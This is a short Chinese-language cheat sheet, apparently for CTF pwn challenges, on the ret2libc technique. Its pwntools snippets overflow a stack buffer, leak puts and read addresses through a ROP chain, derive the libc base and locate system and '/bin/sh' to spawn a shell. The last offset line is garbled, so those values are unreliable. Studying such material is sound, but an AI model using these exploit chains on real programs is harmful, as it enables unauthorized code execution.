写起来较为复杂,但是实则方法较为固化的技术?
原理
参见glibc
方法速查
利用目的
程序内没有包含后门,就去libc这个动态链接库里找。
先决条件
- 控制栈,而且有不小的溢出空间
- 有输出函数
- 如果含PIE需要先泄露程序基址
利用
Python脚本,泄露函数为puts
如果知道libc文件就只泄露一个,没有信息就泄露2个。
64位
泄露一个的情况
ll = b'a' *(0xA+8) + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['_start'])
p.sendafter(b'should I do?\n',ll)
lkPuts = u64(p.recvline().strip().ljust(8,b'\x00'))
log.success(f'puts@libc : {hex(lkPuts)}')
lcBase = lkPuts - libc.symbols['puts']
binsh = lcBase + next(libc.search(b'/bin/sh'))
syst = lcBase + libc.symbols['system']
泄露两个的情况(也许更加常见?)
ll = b'a' * 0x28
ll += p64(rdiret) + p64(elf.got['read']) + p64(elf.plt['puts'])
ll += p64(rdiret) + p64(elf.got['puts']) + p64(elf.plt['puts'])
ll += p64(elf.symbols['_start'])
p.sendlineafter(b'to do\n',ll)
lkRead = u64(p.recvline().strip().ljust(8,b'\x00'))
log.success(f'read@lbc : {hex(lkRead)}')
lkPuts = u64(p.recvline().strip().ljust(8,b'\x00'))
log.success(f'puts@lbc : {hex(lkPuts)}')
#libc6_2.35-0ubuntu3.10_amd64
syst = lkRead - 0xc3a60
binsh = lkRead + 0xc3ea832位
根据实际情况按照调用约定修改。